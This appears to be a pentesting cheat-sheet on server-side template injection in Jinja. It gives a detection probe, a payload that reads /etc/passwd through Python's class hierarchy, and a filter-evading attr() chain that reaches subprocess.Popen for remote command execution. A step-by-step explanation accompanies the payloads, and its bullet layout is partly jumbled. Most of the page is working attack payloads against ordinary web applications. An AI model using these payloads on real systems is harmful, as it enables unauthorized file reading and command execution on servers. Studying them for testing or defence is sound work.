SSTI Tips #
Jinja #
- This targets templating engines such as Jinja(Python)
- Common delimiters to start
- Expression
{{ }}
- Statement
{% %}
- Expression
- Some templating engines contain direct classes to execute system-level calls while others make it more difficult, requiring creative exploits.
- XSS vulnerabilities might also hint at an SSTI vulnerability
- It is the same case
- user-provided code entering an unsanitized field
- It is the same case
- Discovery
- Common discoveries to be entered in the fields
{{ 7*7 }}
- vuln:
49
- vuln:
- Common discoveries to be entered in the fields
- Common payload that may lead to RCE
- Jinja
- Python 2.x
{{ ''.__class__.__mro__[2].__subclasses()[40]('/etc/passwd').read() }}
''
or""
is an empty string.__class__
is asking for the class of it.__mro__
asking for the Method Resolution Order (tuple of classes)- i.e.
1 2 3
>>> Strawberry.__mro__ (<class '__main__.Martini'>, <class '__main__.Alcohol'>, <class '__main__.Drinks'>, <class 'object'>)
- Python 2
[2]
choosing the 2nd tuple which is<type 'object'>
- Python 3
[1]
- i.e.
.__subclasses__
returns the sub classes of the specific value that themro
returned above[40]
40th, which in Python 2 is<type 'file'>
('/etc/passwd')
value offile
to.read()
- Filter and Evasion
attr()
- Sample
1 2 3 4
{% set foo = "foo" %} {% set bar = "bar" %} {% set foo.bar = "A really different value" %} {{ foo|attr(bar) }}
- For Jinja exploit (case where
.__
is not allowed or filtered)- Sample for this:
1 2 3 4
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %}
- then to this: (remember it is mro
[1]
for Python 3)1 2 3 4 5 6
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {{ mro_r[1] }}
- In this step, within the subclasses() classes, you must find the
subprocess.Popen
as this enables RCE. - It is IMPORTANT to note that you must manually look for the
subprocess.Popen
class for the query above (mro[1]
) since it possibly changes for every instance/spawn/restart of the web app service or whatever is hosting the Jinja2 platform. It should now look like this: (where[420]
possibly changes every time the service is restarted)1 2 3 4 5 6 7
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {% set subclasses_r = mro_r[1]|attr(subclasses)() %} {{ subclasses_r[420] }}
- to make for full RCE: (where
[420]
possibly changes every time the service is restarted)1 2 3 4 5 6 7
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {% set subclasses_r = mro_r[1]|attr(subclasses)() %} {{ subclasses_r[420](["/usr/bin/touch","/tmp/PoC_Write.txt"]) }}
- Sample for this:
- Sample
- Python 2.x
- Jinja
Last update: May 18, 2021